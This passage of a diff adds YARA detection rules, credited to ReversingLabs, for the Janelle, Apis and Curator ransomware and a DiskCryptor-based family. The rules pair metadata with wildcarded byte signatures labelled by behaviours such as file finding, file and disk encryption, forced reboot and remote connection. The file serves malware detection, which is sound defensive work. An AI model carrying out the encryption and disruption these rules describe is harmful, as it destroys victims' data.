+            ?? 83 7C 24 ?? ?? 8D 44 24 ?? 56 0F 43 44 24 ?? 56 6A ?? 56 56 68 ?? ?? ?? ?? 50 FF
+            15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF D3 8D 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? 33 DB C7 44
+        }
+		$encrypt_files_using_diskcryptor_p2 = {
+            24 ?? ?? ?? ?? ?? 50 89 5C 24 ?? 89 5C 24 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ??
+            ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 53 FF 15 ??
+            ?? ?? ?? FF 15 ?? ?? ?? ?? 8B F0 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 8B D0 59 59 85 D2
+            75 ?? 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 59 59 8B D0 8D BC 24 ?? ?? ?? ?? 83 EF ?? 66
+            8B 47 ?? 8D 7F ?? 66 3B C3 75 ?? A1 ?? ?? ?? ?? 83 C2 ?? 89 07 8B F2 66 8B 02 83 C2
+            ?? 66 3B C3 75 ?? 8D BC 24 ?? ?? ?? ?? 2B D6 83 EF ?? 66 8B 47 ?? 83 C7 ?? 66 3B C3
+            75 ?? 8B CA 8D 84 24 ?? ?? ?? ?? C1 E9 ?? F3 A5 8B CA 83 E1 ?? F3 A4 51 50 83 EC ??
+            8B CC 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 4C 24 ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B F0 C6 84
+            24 ?? ?? ?? ?? ?? 83 7E ?? ?? 72 ?? 8B 36 83 EC ?? 8B CC 68 ?? ?? ?? ?? E8 ?? ?? ??
+            ?? 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 83 78 ?? ?? 72 ?? 8B 00 8B D6 8B C8
+            E8 ?? ?? ?? ?? 59 59 53 6A ?? 8D 4C 24 ?? 8B F0 E8 ?? ?? ?? ?? 53 6A ?? 8D 4C 24 ??
+            C6 84 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 F6 74 ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8
+            ?? ?? ?? ?? 8B F3 EB ?? FF 15 ?? ?? ?? ?? 8B F0 53 6A ?? 8D 4C 24 ?? E8 ?? ?? ?? ??
+            8B C6 EB ?? 53 6A ?? 8D 4C 24 ?? E8 ?? ?? ?? ?? 33 C0 8B 8C 24 ?? ?? ?? ?? 64 89 0D
+            ?? ?? ?? ?? 59 5F 5E 5B 8B 8C 24 ?? ?? ?? ?? 33 CC E8 ?? ?? ?? ?? 8B E5 5D C3
+        }
+		$reboot = {
+            55 8B EC 83 EC ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 56 8D 45 ?? 50 6A ?? FF 15 ?? ?? ??
+            ?? 50 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 33 C0 EB ?? 8D 45 ?? 33 F6 50 68 ?? ?? ?? ?? 56
+            FF 15 ?? ?? ?? ?? 56 56 56 8D 45 ?? C7 45 ?? ?? ?? ?? ?? 50 56 FF 75 ?? C7 45 ?? ??
+            ?? ?? ?? FF 15 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? 68 ?? ?? ?? ?? 6A ?? FF 15
+            ?? ?? ?? ?? F7 D8 1B C0 F7 D8 8B 4D ?? 33 CD 5E E8 ?? ?? ?? ?? 8B E5 5D C3
+        }
+
+	condition:
+		uint16(0)==0x5A4D and ((($deploy_components) and ($get_shares_info) and ($encrypt_discs)) or (($extract_diskcryptor_from_resources) and ($create_diskcryptor_service) and ( all of ($encrypt_files_using_diskcryptor_p*)) and ($reboot)))
+}
+rule REVERSINGLABS_Bytecode_MSIL_Ransomware_Janelle : TC_DETECTION MALICIOUS MALWARE FILE
+{
+	meta:
+		description = "Yara rule that detects Janelle ransomware."
+		author = "ReversingLabs"
+		id = "4fef3be5-8332-5ce2-b1e9-3993e6963331"
+		date = "2021-12-16"
+		modified = "2021-12-16"
+		reference = "ReversingLabs"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/ByteCode.MSIL.Ransomware.Janelle.yara#L1-L96"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "49f1eac82930606183ab9cf1d5c6c42534d58735876134793e9712e78eb5a4c7"
+		score = 75
+		quality = 90
+		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
+		status = "RELEASED"
+		sharing = "TLP:WHITE"
+		category = "MALWARE"
+		tc_detection_type = "Ransomware"
+		tc_detection_name = "Janelle"
+		tc_detection_factor = 5
+		importance = 25
+
+	strings:
+		$setup_env_p1 = {
+            00 02 7B ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 73 ?? ?? ?? ?? 0A 06 02 7D ?? ??
+            ?? ?? 00 7E ?? ?? ?? ?? 72 ?? ?? ?? ?? 17 6F ?? ?? ?? ?? 0B 07 72 ?? ?? ?? ?? 28 ?? ??
+            ?? ?? 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 00 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 0C 2B ?? 08 6F
+            ?? ?? ?? ?? 74 ?? ?? ?? ?? 0D 00 02 7B ?? ?? ?? ?? 6F ?? ?? ?? ?? 09 6F ?? ?? ?? ?? 6F
+            ?? ?? ?? ?? 6F ?? ?? ?? ?? 26 00 08 6F ?? ?? ?? ?? 2D ?? DE ?? 08 75 ?? ?? ?? ?? 13 ??
+            11 ?? 2C ?? 11 ?? 6F ?? ?? ?? ?? 00 DC 02 7B ?? ?? ?? ?? 16 6F ?? ?? ?? ?? 00 16 28 ??
+            ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 16 FE 01 13 ?? 11 ?? 2C ?? 00 16
+            28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 16 28 ??
+            ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 00 00 28 ?? ?? ??
+            ?? 6F ?? ?? ?? ?? 13 ?? 11 ?? 2C ?? 00 02 16 28 ?? ?? ?? ?? 00 00 28 ?? ?? ?? ?? 6F ??
+            ?? ?? ?? 6F ?? ?? ?? ?? 16 FE 02 16 FE 01 13 ?? 11 ?? 2C ?? 00 28 ?? ?? ?? ?? 28 ?? ??
+            ?? ?? 13 ?? 12 ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 13 ??
+            12 ?? 23 ?? ?? ?? ?? ?? ?? ?? ?? 28 ?? ?? ?? ?? 13 ?? 12 ?? 28 ?? ?? ?? ?? 6F ?? ?? ??
+            ?? 00 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 13 ?? 12 ?? 23 ?? ?? ?? ?? ?? ?? ?? ?? 28 ?? ?? ??
+            ?? 13 ?? 12 ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 00 02
+        }
+		$setup_env_p2 = {
+            7B ?? ?? ?? ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 02 7B ?? ?? ?? ?? 28 ??
+            ?? ?? ?? 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 16 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ??
+            ?? 28 ?? ?? ?? ?? 13 ?? 11 ?? 2C ?? 00 02 7B ?? ?? ?? ?? 72 ?? ?? ?? ?? 16 28 ?? ?? ??
+            ?? 28 ?? ?? ?? ?? 73 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 00 2B ?? 00 16 28 ?? ?? ?? ?? 72 ??
+            ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 16 28 ?? ?? ?? ?? 72 ?? ?? ??
+            ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 00 02 7B ?? ?? ?? ?? 72 ?? ?? ?? ?? 16
+            28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 73 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 00 28 ?? ?? ?? ?? 16 28
+            ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 16 28 ?? ?? ?? ?? 72 ?? ??
+            ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 00 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 72 ?? ?? ?? ?? 28
+            ?? ?? ?? ?? 13 ?? 11 ?? 2C ?? 00 28 ?? ?? ?? ?? 02 20 ?? ?? ?? ?? 28 ?? ?? ?? ?? 6F ??
+            ?? ?? ?? 00 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 00 16 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ??
+            ?? ?? ?? 28 ?? ?? ?? ?? 00 16 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ??
+            ?? 6F ?? ?? ?? ?? 00 06 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 7D ?? ?? ?? ?? 16 28 ?? ?? ?? ??
+            72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 06 7B ?? ?? ?? ?? 28 ?? ??
+            ?? ?? 28 ?? ?? ?? ?? 00 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 13
+            ?? 11 ?? 2C ?? 00 02 17 7D ?? ?? ?? ?? 06 FE 06 ?? ?? ?? ?? 73 ?? ?? ?? ?? 73 ?? ?? ??
+            ?? 25 17 6F ?? ?? ?? ?? 00 6F ?? ?? ?? ?? 00 06 7B ?? ?? ?? ?? 28 ?? ?? ?? ?? 00 00 02
+            7B ?? ?? ?? ?? 16 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 6F ?? ??
+            ?? ?? 00 00 2A
+        }
+		$find_files = {
+            73 ?? ?? ?? ?? 0A 06 02 7D ?? ?? ?? ?? 06 04 7D ?? ?? ?? ?? 06 05 7D ?? ?? ?? ?? 00 00
+            03 28 ?? ?? ?? ?? 0B 00 07 0C 16 0D 2B ?? 08 09 9A 13 ?? 00 02 11 ?? 06 7B ?? ?? ?? ??
+            28 ?? ?? ?? ?? 00 00 09 17 58 0D 09 08 8E 69 32 ?? 06 7B ?? ?? ?? ?? 13 ?? 11 ?? 2C ??
+            00 00 00 03 28 ?? ?? ?? ?? 13 ?? 16 13 ?? 2B ?? 73 ?? ?? ?? ?? 13 ?? 11 ?? 06 7D ?? ??
+            ?? ?? 11 ?? 11 ?? 11 ?? 9A 7D ?? ?? ?? ?? 00 11 ?? FE 06 ?? ?? ?? ?? 73 ?? ?? ?? ?? 73
+            ?? ?? ?? ?? 25 17 6F ?? ?? ?? ?? 00 6F ?? ?? ?? ?? 00 00 11 ?? 17 58 13 ?? 11 ?? 11 ??
+            8E 69 32 ?? 00 DE ?? 13 ?? 00 72 ?? ?? ?? ?? 03 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 00 00 DE
+            ?? 00 00 DE ?? 26 00 72 ?? ?? ?? ?? 03 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 00 00 DE ?? 2A
+        }
+		$encrypt_files = {
+            00 28 ?? ?? ?? ?? 0A 03 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 18 73 ?? ?? ?? ?? 0B 28 ?? ?? ??
+            ?? 04 6F ?? ?? ?? ?? 0C 73 ?? ?? ?? ?? 0D 09 20 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 09 20 ??
+            ?? ?? ?? 6F ?? ?? ?? ?? 00 09 18 6F ?? ?? ?? ?? 00 08 06 20 ?? ?? ?? ?? 73 ?? ?? ?? ??
+            13 ?? 09 11 ?? 09 6F ?? ?? ?? ?? 1E 5B 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 09 11 ?? 09 6F
+            ?? ?? ?? ?? 1E 5B 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 09 1A 6F ?? ?? ?? ?? 00 07 06 16 06
+            8E 69 6F ?? ?? ?? ?? 00 07 09 6F ?? ?? ?? ?? 17 73 ?? ?? ?? ?? 13 ?? 03 19 73 ?? ?? ??
+            ?? 13 ?? 20 ?? ?? ?? ?? 8D ?? ?? ?? ?? 13 ?? 00 2B ?? 00 28 ?? ?? ?? ?? 00 11 ?? 11 ??
+            16 11 ?? 6F ?? ?? ?? ?? 00 00 11 ?? 11 ?? 16 11 ?? 8E 69 6F ?? ?? ?? ?? 25 13 ?? 16 FE
+            02 13 ?? 11 ?? 2D ?? 11 ?? 6F ?? ?? ?? ?? 00 00 DE ?? 13 ?? 00 72 ?? ?? ?? ?? 11 ?? 6F
+            ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 00 00 DE ?? DE ?? 00 11 ?? 6F ?? ?? ?? ?? 00
+            07 6F ?? ?? ?? ?? 00 00 DC 2A
+        }
+
+	condition:
+		uint16(0)==0x5A4D and ( all of ($setup_env_p*)) and ($find_files) and ($encrypt_files)
+}
+rule REVERSINGLABS_Bytecode_MSIL_Ransomware_Apis : TC_DETECTION MALICIOUS MALWARE FILE
+{
+	meta:
+		description = "Yara rule that detects Apis ransomware."
+		author = "ReversingLabs"
+		id = "63791250-e21e-53d1-932c-9b5d16a7cad9"
+		date = "2021-11-25"
+		modified = "2021-11-25"
+		reference = "ReversingLabs"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/ByteCode.MSIL.Ransomware.Apis.yara#L1-L75"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "0915469884a268f124da348d6a182eb4a0f69063d4041b46628794ab011227ef"
+		score = 75
+		quality = 90
+		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
+		status = "RELEASED"
+		sharing = "TLP:WHITE"
+		category = "MALWARE"
+		tc_detection_type = "Ransomware"
+		tc_detection_name = "Apis"
+		tc_detection_factor = 5
+		importance = 25
+
+	strings:
+		$find_files = {
+            28 ?? ?? ?? ?? 13 ?? 16 13 ?? 2B ?? 11 ?? 11 ?? 9A 0A 06 6F ?? ?? ?? ?? 72 ?? ?? ?? ??
+            28 ?? ?? ?? ?? 2C ?? 06 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 11 ?? 17 58 13 ?? 11 ?? 11 ?? 8E
+            69 32 ?? 7E ?? ?? ?? ?? 7E ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0B 7E ?? ?? ?? ??
+            7E ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0C 7E ?? ?? ?? ?? 7E ?? ?? ?? ?? 72 ?? ??
+            ?? ?? 28 ?? ?? ?? ?? 0D 7E ?? ?? ?? ?? 7E ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 13
+            ?? 7E ?? ?? ?? ?? 7E ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 13 ?? 7E ?? ?? ?? ?? 7E
+            ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 13 ?? 7E ?? ?? ?? ?? 7E ?? ?? ?? ?? 72 ?? ??
+            ?? ?? 28 ?? ?? ?? ?? 13 ?? 7E ?? ?? ?? ?? 7E ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ??
+            13 ?? 7E ?? ?? ?? ?? 7E ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 13 ?? 7E ?? ?? ?? ??
+            7E ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 13 ?? 7E ?? ?? ?? ?? 7E ?? ?? ?? ?? 72 ??
+            ?? ?? ?? 28 ?? ?? ?? ?? 13 ?? 7E ?? ?? ?? ?? 7E ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ??
+            ?? 13 ?? 7E ?? ?? ?? ?? 7E ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 13 ?? 07 28 ?? ??
+            ?? ?? 08 28 ?? ?? ?? ?? 09 28 ?? ?? ?? ?? 11 ?? 28 ?? ?? ?? ?? 11 ?? 28 ?? ?? ?? ?? 11
+            ?? 28 ?? ?? ?? ?? 11 ?? 28 ?? ?? ?? ?? 11 ?? 28 ?? ?? ?? ?? 11 ?? 28 ?? ?? ?? ?? 11 ??
+            28 ?? ?? ?? ?? 11 ?? 28 ?? ?? ?? ?? 11 ?? 28 ?? ?? ?? ?? 11 ?? 28 ?? ?? ?? ?? 2A
+        }
+		$encrypt_files = {
+            02 28 ?? ?? ?? ?? 0A 17 0B 16 0C 38 ?? ?? ?? ?? 73 ?? ?? ?? ?? 13 ?? 11 ?? 06 08 9A 28
+            ?? ?? ?? ?? 7D ?? ?? ?? ?? 06 08 9A 28 ?? ?? ?? ?? 0D 7E ?? ?? ?? ?? 11 ?? FE 06 ?? ??
+            ?? ?? 73 ?? ?? ?? ?? 28 ?? ?? ?? ?? 39 ?? ?? ?? ?? 09 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 39
+            ?? ?? ?? ?? 06 08 9A 73 ?? ?? ?? ?? 13 ?? 11 ?? 20 ?? ?? ?? ?? 6F ?? ?? ?? ?? 11 ?? 6F
+            ?? ?? ?? ?? 20 ?? ?? ?? ?? 6A 2F ?? 28 ?? ?? ?? ?? 11 ?? 6F ?? ?? ?? ?? 28 ?? ?? ?? ??
+            18 5B 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 06 08 9A 11 ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ??
+            06 08 9A 06 08 9A 72 ?? ?? ?? ?? 1A 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 2B ??
+            28 ?? ?? ?? ?? 11 ?? 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 1A 5B 28 ?? ?? ?? ?? 6F ?? ?? ?? ??
+            13 ?? 06 08 9A 11 ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 06 08 9A 06 08 9A 72 ?? ?? ?? ?? 1A
+            28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 07 2C ?? 16 0B 02 72 ?? ?? ?? ?? 7E ?? ??
+            ?? ?? 28 ?? ?? ?? ?? 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? DE ?? 26 DE ?? 08 17 58 0C 08 06 8E
+            69 3F ?? ?? ?? ?? 02 28 ?? ?? ?? ?? 13 ?? 16 13 ?? 2B ?? 11 ?? 11 ?? 9A 28 ?? ?? ?? ??
+            11 ?? 17 58 13 ?? 11 ?? 11 ?? 8E 69 32 ?? DE ?? 26 DE ?? 2A
+        }
+		$setup_env = {
+            28 ?? ?? ?? ?? 2C ?? 17 28 ?? ?? ?? ?? 7E ?? ?? ?? ?? 2C ?? 28 ?? ?? ?? ?? 7E ?? ?? ??
+            ?? 2C ?? 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 7E ?? ?? ?? ?? 2C ?? 28 ?? ?? ?? ?? 7E ?? ?? ??
+            ?? 2C ?? 28 ?? ?? ?? ?? 7E ?? ?? ?? ?? 2C ?? 28 ?? ?? ?? ?? 2B ?? 7E ?? ?? ?? ?? 2C ??
+            7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 7E ?? ?? ?? ?? 2C ?? 28 ?? ?? ?? ?? 7E ?? ?? ?? ?? 2C ??
+            28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 7E ?? ?? ?? ?? 2D ?? 14 FE 06 ?? ?? ?? ?? 73 ?? ?? ?? ??
+            80 ?? ?? ?? ?? 7E ?? ?? ?? ?? 73 ?? ?? ?? ?? 28 ?? ?? ?? ?? 7E ?? ?? ?? ?? 2C ?? 7E ??
+            ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 2A
+        }
+
+	condition:
+		uint16(0)==0x5A4D and ($setup_env) and ($find_files) and ($encrypt_files)
+}
+rule REVERSINGLABS_Win64_Ransomware_Curator : TC_DETECTION MALICIOUS MALWARE FILE
+{
+	meta:
+		description = "Yara rule that detects Curator ransomware."
+		author = "ReversingLabs"
+		id = "401f1d64-afd9-55b1-8e87-b808d4679e9a"
+		date = "2021-04-22"
+		modified = "2021-04-22"
+		reference = "ReversingLabs"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win64.Ransomware.Curator.yara#L1-L94"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "8bd29195cea0f1194e27c48ed07c52100abb7dd3de2ef7f51a645d32c3527eb3"
+		score = 75
+		quality = 90
+		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
+		status = "RELEASED"
+		sharing = "TLP:WHITE"
+		category = "MALWARE"
+		tc_detection_type = "Ransomware"
+		tc_detection_name = "Curator"
+		tc_detection_factor = 5
+		importance = 25
+
+	strings:
+		$encrypt_files_p1 = {
+            44 8B CB C7 44 24 ?? ?? ?? ?? ?? 45 33 C0 48 8D 8D ?? ?? ?? ?? 33 D2 FF 15 ?? ?? ??
+            ?? 48 8B BD ?? ?? ?? ?? 4C 8D 35 ?? ?? ?? ?? 48 85 FF 0F 84 ?? ?? ?? ?? 48 8B 0D ??
+            ?? ?? ?? 41 8B DC 48 81 C1 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 7E ?? 45 33 F6 48 8B
+            05 ?? ?? ?? ?? 4C 8D 05 ?? ?? ?? ?? BA ?? ?? ?? ?? 41 0F BE 8C 06 ?? ?? ?? ?? 45 0F
+            BE 8C 06 ?? ?? ?? ?? 89 4C 24 ?? 48 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 D2 48 8D 8D
+            ?? ?? ?? ?? 44 8D 42 ?? E8 ?? ?? ?? ?? 8B CB 4D 8D 76 ?? FF C3 41 83 C4 ?? 88 84 0D
+            ?? ?? ?? ?? 48 8B 0D ?? ?? ?? ?? 48 81 C1 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 44 3B E0 7C
+            ?? 4C 8D 35 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 45 33 E4 48 89 44 24 ?? 48 8D 95 ?? ??
+            ?? ?? 45 33 C9 44 89 64 24 ?? 44 8B C3 48 8B CF FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ??
+            ?? ?? 48 8B 1D ?? ?? ?? ?? 48 8D 4C 24 ?? 48 8B 15 ?? ?? ?? ?? 4C 8B C3 E8 ?? ?? ??
+            ?? 48 8B 8D ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 45 8D 44 24 ??
+            48 89 44 24 ?? 45 33 C9 48 8D 44 24 ?? 89 9D ?? ?? ?? ?? 33 D2 48 89 44 24 ?? FF 15
+            ?? ?? ?? ?? 85 C0 74 ?? 41 8B DC 44 39 A5 ?? ?? ?? ?? 76 ?? 8B C3 4C 8D 05 ?? ?? ??
+            ?? BA ?? ?? ?? ?? 48 8D 8D ?? ?? ?? ?? 44 0F B6 4C 04 ?? E8 ?? ?? ?? ?? 48 8D 95 ??
+            ?? ?? ?? 49 8B CE FF 15 ?? ?? ?? ?? FF C3 3B 9D ?? ?? ?? ?? 72 ?? 48 8B 8D ?? ?? ??
+            ?? FF 15 ?? ?? ?? ?? 33 D2 48 8B CF FF 15 ?? ?? ?? ?? B9
+        }
+		$encrypt_files_p2 = {
+            48 8B C4 48 89 58 ?? 48 89 70 ?? 48 89 78 ?? 55 41 54 41 55 41 56 41 57 48 8D A8 ??
+            ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 2B E0 48 8B 05 ?? ?? ?? ?? 48 33 C4 48 89
+            85 ?? ?? ?? ?? 45 33 E4 C7 44 24 ?? ?? ?? ?? ?? 41 B8 ?? ?? ?? ?? 44 89 25 ?? ?? ??
+            ?? 48 8D 95 ?? ?? ?? ?? 44 89 25 ?? ?? ?? ?? 33 C9 44 89 25 ?? ?? ?? ?? 45 8B FC 4C
+            89 25 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 48 8D 8D ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 48 63 C8
+            48 8D 85 ?? ?? ?? ?? 48 8D 04 48 48 83 C0 ?? 66 83 38 ?? 75 ?? 66 44 89 20 4C 8D 05
+            ?? ?? ?? ?? 48 83 C0 ?? 4C 89 64 24 ?? 48 89 05 ?? ?? ?? ?? 45 33 C9 48 8D 05 ?? ??
+            ?? ?? 44 89 64 24 ?? 33 D2 48 89 05 ?? ?? ?? ?? 33 C9 FF 15 ?? ?? ?? ?? 33 D2 33 C9
+            44 8D 42 ?? FF 15 ?? ?? ?? ?? 48 8B F0 48 85 C0 74 ?? 48 8B 1D ?? ?? ?? ?? 48 81 C3
+            ?? ?? ?? ?? EB ?? 48 8B CB FF 15 ?? ?? ?? ?? 41 B8 ?? ?? ?? ?? 48 8B D3 48 8B CE 44
+            8B F0 FF 15 ?? ?? ?? ?? 48 8B F8 48 85 C0 74 ?? 4C 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ??
+            48 8B C8 FF 15 ?? ?? ?? ?? 48 8B CF FF 15 ?? ?? ?? ?? 41 8D 46
+        }
+		$find_files = {
+            48 89 5C 24 ?? 48 89 7C 24 ?? 55 48 8D AC 24 ?? ?? ?? ?? 48 81 EC ?? ?? ?? ?? 48 8B
+            05 ?? ?? ?? ?? 48 33 C4 48 89 85 ?? ?? ?? ?? 48 8B F9 4C 8D 05 ?? ?? ?? ?? 4C 8B C9
+            BA ?? ?? ?? ?? 48 8D 8D ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 48 8D 54 24 ?? 48 8D 8D ?? ??
+            ?? ?? FF 15 ?? ?? ?? ?? 48 8B D8 48 83 F8 ?? 0F 84 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ??
+            48 8D 4C 24 ?? FF 15 ?? ?? ?? ?? 85 C0 74 ?? 48 8D 15 ?? ?? ?? ?? 48 8D 4C 24 ?? FF
+            15 ?? ?? ?? ?? 85 C0 74 ?? 48 8D 44 24 ?? 4C 8B CF 4C 8D 05 ?? ?? ?? ?? 48 89 44 24
+            ?? BA ?? ?? ?? ?? 48 8D 8D ?? ?? ?? ?? FF 15 ?? ?? ?? ?? F6 44 24 ?? ?? 48 8D 8D ??
+            ?? ?? ?? 74 ?? 48 8D 15 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 48 8D 8D ?? ?? ?? ?? E8 ?? ??
+            ?? ?? EB ?? FF 15 ?? ?? ?? ?? 48 8D 54 24 ?? 48 8B CB FF 15 ?? ?? ?? ?? 85 C0 0F 85
+            ?? ?? ?? ?? 48 8B CB FF 15 ?? ?? ?? ?? 48 8B CF FF 15 ?? ?? ?? ?? 48 8B 8D ?? ?? ??
+            ?? 48 33 CC E8 ?? ?? ?? ?? 4C 8D 9C 24 ?? ?? ?? ?? 49 8B 5B ?? 49 8B 7B ?? 49 8B E3
+            5D C3
+        }
+		$remote_connection = {
+            44 0F B7 45 ?? 33 DB 48 8B 55 ?? 45 33 C9 48 89 5C 24 ?? 48 8B CE 89 5C 24 ?? C7 44
+            24 ?? ?? ?? ?? ?? 48 89 5C 24 ?? FF 15 ?? ?? ?? ?? 4C 8B F0 48 85 C0 0F 84 ?? ?? ??
+            ?? 80 7D ?? ?? B9 ?? ?? ?? ?? 4C 8B 45 ?? B8 ?? ?? ?? ?? 48 8B 55 ?? 0F 44 C8 48 89
+            5C 24 ?? 45 33 C9 89 4C 24 ?? 89 4D ?? 49 8B CE 48 89 5C 24 ?? 48 89 5C 24 ?? FF 15
+            ?? ?? ?? ?? 48 8B D8 48 85 C0 0F 84 ?? ?? ?? ?? 83 65 ?? ?? 4C 8D 4D ?? 4C 8D 45 ??
+            C7 45 ?? ?? ?? ?? ?? BA ?? ?? ?? ?? 48 8B C8 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 81 4D ??
+            ?? ?? ?? ?? 4C 8D 45 ?? 41 B9 ?? ?? ?? ?? 48 8B CB 41 8D 51 ?? FF 15 ?? ?? ?? ?? 4C
+            8B 4D ?? 48 8B C7 48 F7 D8 48 8B D7 8B 45 ?? 48 8B CB 45 1B C0 89 44 24 ?? FF 15 ??
